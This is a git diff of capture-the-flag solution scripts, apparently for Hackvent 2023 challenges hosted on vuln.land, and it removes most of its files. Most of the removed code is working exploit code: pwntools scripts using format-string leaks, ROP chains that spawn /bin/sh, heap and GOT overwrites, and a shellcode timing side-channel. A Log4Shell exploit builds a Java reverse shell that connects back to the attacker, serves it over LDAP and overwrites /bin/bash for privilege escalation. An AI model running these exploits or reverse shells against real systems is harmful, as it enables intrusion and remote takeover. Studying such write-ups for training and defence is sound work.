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34 changed files with 1 additions and 1513 deletions

2
.gitignore vendored

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__pycache__ __pycache__
*.pyc *.pyc
*.sage.py

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FROM ubuntu:23.04
RUN apt update && apt -y upgrade
RUN apt install -y socat
COPY . .
RUN chmod +x vuln
RUN chmod +x magic.sh
ENTRYPOINT socat TCP-LISTEN:1337,reuseaddr,fork EXEC:'./vuln',raw

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=152.96.15.8' '--port=1337'
from pwn import *
from hackingscripts import util
import struct
exe = context.binary = ELF(args.EXE or './vuln')
libc = ELF("./libc6_2.37-0ubuntu2.2_amd64.so", checksec=False)
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'b8fb5148-65c8-4306-9341-e2ba20821791.rdocker.vuln.land'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def tell_flag(username, fmt):
if not isinstance(username, bytes):
username = username.encode()
if not isinstance(fmt, bytes):
fmt = fmt.encode()
io.recvuntil(b"> ")
io.sendline(username)
io.recvuntil(b"> ")
io.sendline(fmt)
result = io.recvuntil(b"I will see what I can do...\n")
prefix = b"\x1b[?25h\nSanta: You want me to help you with "
if result.startswith(prefix):
result = result[len(prefix):]
suffix = b"?\nSanta: I will see what I can do...\n"
if result.endswith(suffix):
result = result[:-len(suffix)]
return result
def do_conn(username, fmt):
io.recvuntil(b"(y/n)? ")
io.sendline(b"y")
data = io.recvuntil(b"> ")
lines = data.decode().split("\n")
present_count = {"red": 0, "blue": 0, "yellow": 0}
for line in lines:
match = re.match(r"\s*-\s*(red|yellow|blue)", line.strip())
if match:
color = match[1]
present_count[color] = present_count[color] + 1
io.sendline(str(present_count["red"]).encode())
io.recvuntil(b"> ")
io.sendline(str(present_count["yellow"]).encode())
io.recvuntil(b"> ")
io.sendline(str(present_count["blue"]).encode())
return tell_flag(username, fmt)
io = start()
payload = b""
payload += b"%35$p|%39$p|"
payload += (168 - len(payload)) * b"A"
assert len(payload) == 168
payload += p8(0xA0)
result = do_conn("x", payload)
leak = result.split(b'|')
exe.address = int(leak[0][2:],16) - exe.symbols["main"] - 158
log.info(f"Piebase: {hex(exe.address)}")
libc_leak = int(leak[1][2:],16)+48
libc.address = libc_leak - libc.symbols["__libc_start_main"]
log.info(f"libc leak: {hex(libc_leak)} ")
log.info(f"libc base: {hex(libc.address)}")
# chain for shell
rop = ROP([libc, exe])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.call(exe.symbols["tellflag"])
payload = b"A"*168 + rop.chain()
tell_flag("x", payload)
io.sendline(b"ps | grep vuln | awk '{print $1}'")
pid = io.recvline().strip().decode()
print("[+] Got PID:", pid)
io.sendline(f"cat /proc/{pid}/maps | grep heap | awk -F '-' '{{print $1}}'".encode())
heap_base = int(io.recvline().decode(), 16)
print("[+] Got Heap base:", hex(heap_base))
io.sendline(b"exit")
rop = ROP([libc])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.puts(heap_base + 0x484, )
rop.call(exe.symbols["main"])
payload = b""
payload += 160 * b"A"
payload += p64(0)
payload += rop.chain()
tell_flag("x", payload)
flag = "HV23" + io.recvline().decode().strip()
print("[+] Flag:", flag)
io.close()

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import requests
import base64
import re
from PIL import Image
from pwn import *
from hackingscripts import util
if __name__ == "__main__":
segment_addr = 0x800100
segment_offset = 0x19
data_size = 0xd8
xor_key = 0x69
data_addr = segment_addr + segment_offset
firmware = ELF("./firmware.elf", checksec=False)
for segment in firmware.segments:
start = segment.header.p_vaddr
end = segment.header.p_vaddr + segment.header.p_filesz
if start <= data_addr < end:
data = segment.data()[segment_offset:segment_offset+data_size]
extracted_data = util.xor(data, xor_key).decode()
break
match = re.match(r"echo (.*) > data", extracted_data)
b64_data = base64.b64decode(match[1].encode()).decode()
match = re.match(r"wget (.*) -O - \| bash", b64_data)
url = match[1]
res = requests.get(url)
match = re.search(r"wget (.*) -O - \| base64 -d > cat.png", res.text)
url = match[1]
res = requests.get(url)
with open("cat.png", "wb") as f:
f.write(base64.b64decode(res.content))
img = Image.open("cat.png")
img.load()
print("[+] Flag:", img.info["Comment"])

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@ -1 +0,0 @@
marshalsec-0.0.3-SNAPSHOT-all.jar filter=lfs diff=lfs merge=lfs -text

@ -1,173 +0,0 @@
#!/usr/bin/env python
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
# https://git.romanh.de/Roman/HackingScripts
import os
import io
import re
import sys
import json
import time
import base64
import requests
import subprocess
import urllib.parse
from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import signal
import threading
IP_ADDRESS = util.get_address()
BASE_URL = "https://7e11237e-9c61-46e2-92ca-cf53299a0447.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
def request(method, uri, **kwargs):
if not uri.startswith("/") and uri != "":
uri = "/" + uri
client = requests
if "session" in kwargs:
client = kwargs["session"]
del kwargs["session"]
if "allow_redirects" not in kwargs:
kwargs["allow_redirects"] = False
if "verify" not in kwargs:
kwargs["verify"] = False
if "proxies" not in kwargs:
kwargs["proxies"] = PROXIES
url = BASE_URL + uri
return client.request(method, url, **kwargs)
def compile_java(shell_port):
java_code = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host = "{IP_ADDRESS}";
int port = {shell_port};
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host,port);
InputStream pi=p.getInputStream(),
pe = p.getErrorStream(),
si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {{
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {{
p.exitValue();
break;
}} catch (Exception e) {{
}}
}}
p.destroy();
s.close();
}}
}}
"""
with open("Exploit.java", "w") as f:
f.write(java_code)
subprocess.run(["javac", "Exploit.java"])
with open("Exploit.class", "rb") as f:
java_class = f.read()
os.remove("Exploit.java")
os.remove("Exploit.class")
return java_class
def send_message(msg):
json_data = { "name": "", "message": msg }
res = request("POST", "/up/sendmessage", json=json_data)
util.assert_status_code(res, 200)
def get_privesc_code():
c_code = b"""#include <stdio.h>
#include <unistd.h>
int main() {
printf(\"Spawning a shell with -p parameter...\");
char *shell = \"/bin/sh\";
char *args[] = {shell, \"-p\", NULL};
execve(shell, args, NULL);
return 0;
}
"""
return base64.b64encode(c_code).decode()
if __name__ == "__main__":
http_Port = 8000
shell_port = 9001
java_payload = compile_java(shell_port)
file_server = HttpFileServer("0.0.0.0", http_Port)
file_server.addFile("Exploit.class", java_payload)
file_server.enableLogging()
file_server.startBackground()
payload = f"${{jndi:ldap://{IP_ADDRESS}:1389/b}}"
payload_url = file_server.get_full_url("#Exploit", ip_addr=IP_ADDRESS)
ldap_process = None
def spawn_ldap_server():
global ldap_process
ldap_process = subprocess.Popen([
"java",
"-cp",
os.path.join("marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
payload_url
])
ldap_process.wait()
print("[ ] Starting LDAP Server")
ldap_thread = threading.Thread(target=spawn_ldap_server)
ldap_thread.start()
print("[ ] Triggering log4j shell")
shell = rev_shell.trigger_background_shell(lambda: send_message(payload), shell_port)
shell.os = "unix"
print("[+] Got shell!")
privesc = get_privesc_code()
commands = [
f"echo {privesc} | base64 -d > /tmp/shell.c && gcc /tmp/shell.c -o /bin/bash",
"/santas-workshop/tool",
"s",
"cat /home/santa/flag.txt",
"exit"
]
for cmd in commands:
shell.sendline(cmd)
time.sleep(0.5)
print("[+] Flag:", shell.raw_output.decode())
shell.close()
print("[ ] Stopping listeners...")
file_server.stop()
ldap_process.send_signal(signal.SIGINT)
ldap_thread.join()

@ -1,51 +0,0 @@
Host: 3842c27c-9ff0-47de-b97a-9a9d5a892c87.idocker.vuln.land
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Jetty 9.4.26v20200117
|_http-title: Did not follow redirect to https://3842c27c-9ff0-47de-b97a-9a9d5a892c87.idocker.vuln.land:443/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=*.idocker.vuln.land
| Subject Alternative Name: DNS:*.idocker.vuln.land, DNS:idocker.vuln.land
| Issuer: commonName=Thawte TLS RSA CA G1/organizationName=DigiCert Inc/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-04T00:00:00
| Not valid after: 2024-09-08T23:59:59
| MD5: 80d7:8bfe:9544:857d:d5ab:3419:4283:4228
|_SHA-1: 7a7c:1086:65bb:52dd:6c97:238f:a29d:c680:1b8b:5a73
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Jetty(9.4.26.v20200117)
|_http-title: Minecraft Dynamic Map
| http-robots.txt: 5 disallowed entries
|_/tiles/ /js/ /standalone/ /images/ /css/
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Content-Type: text/plain
| Www-Authenticate: Basic realm="traefik"
| Date: Mon, 18 Dec 2023 23:25:56 GMT
| Content-Length: 17
| Unauthorized
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request
|_http-title: Site doesn't have a title (text/plain).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=traefik
9100/tcp open jetdirect?
42810/tcp open fmproduct 1-4 (RPC #1073741824)
55555/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

@ -1,3 +0,0 @@
version https://git-lfs.github.com/spec/v1
oid sha256:4f659fe73986787da27462f9cd2bf36603b47ceaa38b072338c369abdc2e1bd7
size 42565306

@ -1,10 +0,0 @@
FROM docker.io/library/ubuntu:23.04
RUN apt update && apt -y upgrade curl python3 gdb binutils elfutils file && bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
RUN apt install -y socat
COPY . .
RUN chmod +x vuln
ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./vuln\""]

@ -1,198 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=152.96.15.5' '--port=1337' vuln
from pwn import *
from hackingscripts import util
from pyzbar.pyzbar import decode
from PIL import Image
import re
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'vuln')
libc = ELF("./libc.so.6", checksec=False)
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '152.96.15.5'
port = int(args.PORT or 1337)
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])'.encode())
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def save_shopping_list(file_name):
if isinstance(file_name, str):
file_name = file_name.encode()
io.recvuntil(b"> ")
io.sendline(b"s")
io.recvuntil(b"> ")
io.sendline(file_name)
def add_item(item_name, item_count):
if isinstance(item_name, str):
item_name = item_name.encode()
io.recvuntil(b"> ")
io.sendline(b"a")
io.recvuntil(b"> ")
io.sendline(item_name)
io.recvuntil(b"> ")
io.sendline(str(item_count).encode())
def send_quit():
io.recvuntil(b"> ")
io.sendline(b"q")
def change_quantity(item_name, new_quantity):
io.recvuntil(b"> ")
io.sendline(b"c")
if isinstance(item_name, str):
item_name = item_name.encode()
io.recvuntil(b"> ")
io.sendline(item_name)
io.recvuntil(b"> ")
io.sendline(str(new_quantity).encode())
leak = io.recvline()
match = re.search(r"You've found my little secret, as a reward you will get: (.*)", leak.decode())
return int(match[1], 16)
def edit_item(item_name, new_name):
if isinstance(item_name, str):
item_name = item_name.encode()
if isinstance(new_name, str):
new_name = new_name.encode()
io.recvuntil(b"> ")
io.sendline(b"e")
io.recvuntil(b"> ")
io.sendline(item_name)
io.recvuntil(b"> ")
io.sendline(new_name)
def list_items():
io.recvuntil(b"> ")
io.sendline(b"l")
items = []
while True:
line = ansi_escape.sub(b'', io.recvline())
match = re.match(r" - (\d+)x (.*)".encode(), line)
if match:
items.append((int(match[1]), match[2]))
elif b"What do you want to do?" in line:
break
return items
def unicode_to_img(unicode):
lines = unicode.split(b"\n")
qr_size = len(lines) * 2 - 1
pix_size = 10
img = Image.new("RGB", (qr_size*pix_size, qr_size*pix_size))
pix = img.load()
color_map = {
"": [(0, 0, 0), (0, 0, 0)],
"": [(0, 0, 0), (255, 255, 255)],
"": [(255, 255, 255), (0, 0, 0)],
" ": [(255, 255, 255), (255, 255, 255)],
"\xa0": [(255, 255, 255), (255, 255, 255)],
}
for ri, line in enumerate(lines):
for ci, b in enumerate(line.decode()):
color_top, color_bottom = color_map[b]
for xi in range(pix_size):
for yi in range(pix_size):
pix[ci*pix_size+yi,ri*2*pix_size+xi] = color_top
if ri < len(lines) - 1:
pix[ci*pix_size+yi,ri*2*pix_size+pix_size+xi] = color_bottom
return img
io = start()
secret_name = "a"*1337
add_item(secret_name, 1)
leak = change_quantity(secret_name, 2)
print("[+] Got leak:", hex(leak))
exe.address = leak - exe.symbols["win"]
print("[+] PIE base:", hex(exe.address))
add_item("AAAA", 1000)
add_item("BBBB", 1000)
edit_item("BBBB", 0x80 * b"B" + p64(exe.got["puts"]))
items = list_items()
heap_leak = u64(util.pad(items[-1][1], 8))
libc.address = heap_leak - libc.symbols["puts"]
print("[+] LIBC base:", hex(libc.address))
edit_item("AAAA", (0x80 + 0x80) * b"A" + p64(libc.address + 0x1f60a8))
items = list_items()
strchrnul_func = u64(util.pad(items[-1][1], 8))
print('[+] strchrnul@plt:', hex(strchrnul_func))
edit_item(p64(strchrnul_func), p64(exe.symbols["win"]))
io.recvuntil(b"[q]uit\n")
io.sendline(b"cat /flag && exit")
qr_code = io.recvall()
io.close()
img = unicode_to_img(qr_code)
print("[+] Flag:", decode(img)[0].data.decode())
### Unintended solution:
# io = start()
# add_item("$(cp /bin/sh vuln)", 1)
# save_shopping_list("vuln")
# send_quit()
# io.close()
# io = start()
# io.close()
# io = start()
# io.interactive()
###

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@ -1,14 +0,0 @@
FROM ubuntu:22.04
RUN apt-get update -y && apt-get install -y socat
RUN useradd -d /home/santa/ -m -p santa -s /bin/bash santa
RUN echo "santa:santa" | chpasswd
WORKDIR /home/santa
COPY ./pwn .
COPY ./secret.txt .
USER santa
CMD socat TCP-LISTEN:1337,fork,reuseaddr EXEC:'./pwn',raw,pty,echo=0,stderr

@ -1,174 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./pwn '--host=93feafcd-9de7-4c80-914c-1110f8a36326.rdocker.vuln.land' '--port=1337'
from pwn import *
import string
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './pwn')
# libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False)
libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False)
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '1a889c42-b594-4c56-8b79-ac7e45ede7b4.rdocker.vuln.land'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
orig_libc_start_main = libc.symbols["__libc_start_main"]
orig_main = exe.symbols["main"]
def try_char(offset, char):
try:
io = start()
io.recvuntil(b"Who should the gifts be for? ")
io.sendline(b"%43$p|%45$p|%47$p")
leak = io.recvline().decode()
match = re.match(r"Processing the wishes of (.*)\|(.*)\|(.*)\n", leak)
stack_canary = int(match[1], 16)
libc_leak = int(match[2], 16)
libc.address = libc_leak - orig_libc_start_main + 48
pie_leak = int(match[3], 16)
exe.address = pie_leak - orig_main
# print("[+] Got stack canary:", hex(stack_canary))
# print("[+] LIBC base:", hex(libc.address))
# print("[+] PIE base:", hex(exe.address))
rop = ROP([libc, exe])
payload = b""
payload += 264 * b"A"
payload += p64(stack_canary)
assert len(payload) <= 0x200
assert b"\n" not in payload
file_name = next(exe.search(b"secret.txt"))
data_segment = exe.address + 0x4000
new_segment = exe.address + 0x6000
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"])
pop_rcx_ret = rop.find_gadget(["pop rcx", "ret"])
ret = rop.find_gadget(['ret'])
rop.raw(ret)
rop.raw(pop_rcx_ret)
rop.raw(32)
rop.raw(pop_rdi_ret)
rop.raw(exe.symbols["gifts"])
# (0xffffffffffffffff << 32) & 0xfff == 0
if args.LOCAL:
rop.raw(libc.address + 0x501f9) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret
else:
rop.raw(libc.address + 0x54d69) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret
rop.mmap(new_segment, 0x1000, 7, 0x2|0x20) # MAP_ANONYMOUS|MAP_PRIVATE
rop.read(0, new_segment, 100)
rop.call(new_segment)
payload += rop.chain()
gifts = [payload, b"a", b"b", b"c", b"d"]
for g in gifts:
io.recvuntil(b"Name a wish: ")
io.sendline(g)
io.sendline(asm(f"""
mov rdi, {hex(file_name)}
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, {hex(data_segment)}
mov rdx, 0x30
xor rax, rax
syscall
mov rsi, {hex(data_segment)}
add rsi, {offset}
xor rax, rax
mov al, {hex(ord(char))}
mov bl, [rsi]
cmp al, bl
je L2
jmp done
L2:
nop
jmp L2
done:
nop
"""))
except Exception as e:
if isinstance(e, KeyboardInterrupt):
exit(0)
io.close()
return try_char(offset, char)
t1 = time.time()
io.recvall(timeout=1.5)
t2 = time.time()
found = t2 - t1 >= 1.5
io.close()
return found
# flag = "HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}"
flag = ""
OFFSET = len(flag)
while True:
found = False
for CHAR in string.printable:
if try_char(OFFSET, CHAR):
flag += CHAR
print("FOUND:", flag)
found = True
break
if found:
OFFSET += 1
continue
else:
print("END")
break

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@ -1 +0,0 @@
HV23{FAKE}

@ -1,59 +0,0 @@
import re
import random
from Crypto.Util.number import long_to_bytes
values = {}
with open("output.txt", "r") as f:
lines = f.read().split("\n")
values["sum"] = int(lines[0])
for line in lines[1:]:
match = re.match(r"(\w+)=(-?[0-9]+)", line)
values[match[1]] = int(match[2])
for y in range(0, 1000+1):
random.seed(y)
grade = random.choice([2,3])
a = random.randint(9999, 999999)
b = random.randint(8888, 888888)
c = random.randint(7777, 777777)
if a + b + c == values["sum"]:
print("[+] Found y:", y)
break
print("[+] a:", a)
print("[+] b:", b)
print("[+] c:", c)
print("[+] grade:", grade)
x = var("x", domain="integer")
if grade == 2:
y_x = a*x**2+b*x+c
if grade == 3:
d = random.randint(6666, 666666)
y_x = a*x**3+b*x**2+c*x+d
print("[+] d:", d)
print("[+] polynome:", y_x)
N = values["N"]
hint = values["hint"]
p = None
q = var("q")
for x in range(0,1000+1):
eq = (N/q)^3 - q^8 + y_x(x=x) == hint
solution = solve(eq, q, solution_dict=True)
if solution and q in solution[0]:
print("[+] Found x:", x)
q = int(solution[0][q])
p = N//q
break
if p is None:
print("[-] Could not find p and q")
exit()
phi_n = (p - 1) * (q - 1)
d = pow(values["e"], -1, phi_n)
pt = pow(values["encrypted"], d, values["N"])
flag = long_to_bytes(pt).decode()
print("[+] Flag:", flag)

@ -1,41 +0,0 @@
from Crypto.Util.number import *
from sage.all import *
from secret import FLAG, x, y
import random
# D = {x∈ | 0 ≤ x ≤ 1000}
# D = {y∈ | 0 ≤ y ≤ 1000}
def enc(flag, polynomial_function):
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
e = 65537
hint = p**3 - q**8 + polynomial_function(x=x)
encrypted = pow(bytes_to_long(flag), e, N)
print(f"{N=}")
print(f"{e=}")
print(f"{hint=}")
print(f"{encrypted=}")
def generate_polynomial_function(seed):
x = SR.var("x")
random.seed(seed)
grade = random.choice([2,3])
a = random.randint(9999, 999999)
b = random.randint(8888, 888888)
c = random.randint(7777, 777777)
if grade == 2:
y_x = a*x**2+b*x+c
if grade == 3:
d = random.randint(6666, 666666)
y_x = a*x**3+b*x**2+c*x+d
print(a+b+c)
return y_x
y_x = generate_polynomial_function(y)
enc(FLAG.encode(), y_x)

@ -1,5 +0,0 @@
1709262
N=143306145185651132108707685748692789834391223254420921250753369412889732941905250889012412570851623535344424483564532684976892052830348014035303355261052741504390590825455129003262581199117432362073303998908141781601553213103109295898711066542593102305069363965164592663322089299134520383469241654273153506653
e=65537
hint=-367367861727692900288480576510727681065028599304486950529865504611346573250755811691725216308460956865709134086848666413510519469962840879406666853346027105744846872125225171429488388383598931153062856414870036460329519241754646669265989077569377130467115317299086371406081342249967666782962173513369856861858058676451390037278311316937161756731165929187543148639994660265783994439168583858109082136915810219786390452412584110468513829455001689531028969430907046738225668834761412112885772525079903072777443223873041260072918891696459905352737195384116938142788776947705026132197185926344278041831047013477983297898344933372775972141179163010102537733004410775357501267841845321271140399200044741656474378808452920297777911527159803159582800816951547394087190043792625664885536154225227819735800442814065528155407746556297892931242208688533313054308779657788077807340045465701247210553988059519291363634253248268722975827616752514688291723712069675405995149499947239454505797412122124933836396842943540518521648803348207619354854290787969076059265170474203200482079680136404766877617679652611682327535174212016390608658107555103054183393719700027186913354158961245998591486268846852581402900857595817303811471853325463202817521164757
encrypted=72792762778232160989381071629769766489971170790967414271032682193723004039685063639675377805724567838635943988752706743932748347933013530918279285456553768626331874756049006544553546268049053833014940495217179504587162478219970564159885619559723778613379425375733026859684952880028997538045791748027936366062

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@ -1,95 +0,0 @@
import struct
from hackingscripts import util
from PIL import Image
from pyzbar.pyzbar import decode
def bit_stream_to_qr(bit_stream, qr_size=(29, 32), pix_size=10):
img = Image.new("RGB", (qr_size[1] * pix_size, qr_size[0] * pix_size))
pix = img.load()
columns = ["" for r in range(qr_size[1])]
for i, b in enumerate(bit_stream):
columns[i % qr_size[1]] += b
for ci, column in enumerate(columns):
for ri, b in enumerate(column):
color = (0,0,0) if b == "1" else (255,255,255)
for xi in range(pix_size):
for yi in range(pix_size):
pix[ci*pix_size+xi,ri*pix_size+yi] = color
return img
def apply_scramble(data, loop_count, shift_direction, shift_type_1, shift_type_2):
for i in range(loop_count):
if shift_direction == 0:
if shift_type_1 != -1:
offset = 0x70 + shift_type_1
value = data[offset]
for x in range(0x1c+1):
data[offset] = data[offset - 4]
offset -= 4
data[offset + 4] = value
if shift_type_2 != -1:
offset = shift_type_2 * 4
value = data[offset]
for x in range(3+1):
data[offset] = data[offset + 1]
offset += 1
data[offset - 1] = value
elif shift_direction == 1:
if shift_type_2 != -1:
offset = 3 + shift_type_2 * 4
value = data[offset]
for x in range(3+1):
data[offset] = data[offset - 1]
offset -= 1
data[offset + 1] = value
if shift_type_1 != -1:
offset = shift_type_1
value = data[offset]
for x in range(0x1c + 1):
data[offset] = data[offset + 4]
offset += 4
data[offset - 4] = value
else:
raise
return data
def bytes_to_bit_stream(data, qr_size=(29, 32)):
bit_stream = ""
for v in data:
bit_stream += util.lpad(bin(v)[2:], 8, "0")
bit_stream = bit_stream[0:qr_size[0] * qr_size[1]]
return bit_stream
if __name__ == "__main__":
with open("HV23", "rb") as f:
prog_data = f.read()
QR_DATA = bytearray(prog_data[0x8a3e:0x8a3e+0x70+7])
SCRAMBLE_DATA = prog_data[0x628:0x628+0x60]
NUM_SCRAMBLES = 0x18
assert len(SCRAMBLE_DATA) == NUM_SCRAMBLES * 4
scrambles = []
for scramble in range(0, NUM_SCRAMBLES*4, 4):
scramble_data = SCRAMBLE_DATA[scramble:scramble+4]
shift_type_2, shift_type_1, loop_count, shift_direction = struct.unpack("bbBB", scramble_data)
scrambles.append((loop_count, shift_direction, shift_type_1, shift_type_2))
data = QR_DATA
while True:
for scramble in scrambles:
data = apply_scramble(data, *scramble)
bit_stream = bytes_to_bit_stream(data)
# last 3 columns are all white? we might have a valid QR-code
if all(bit_stream[row*32+29:row*32+32] == "000" for row in range(29)):
img = bit_stream_to_qr(bit_stream)
decoded_objects = decode(img)
if decoded_objects:
img.save(f"qr_code.png")
print("[+] Flag:", decoded_objects[0].data.decode())
exit()

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sys:HV23

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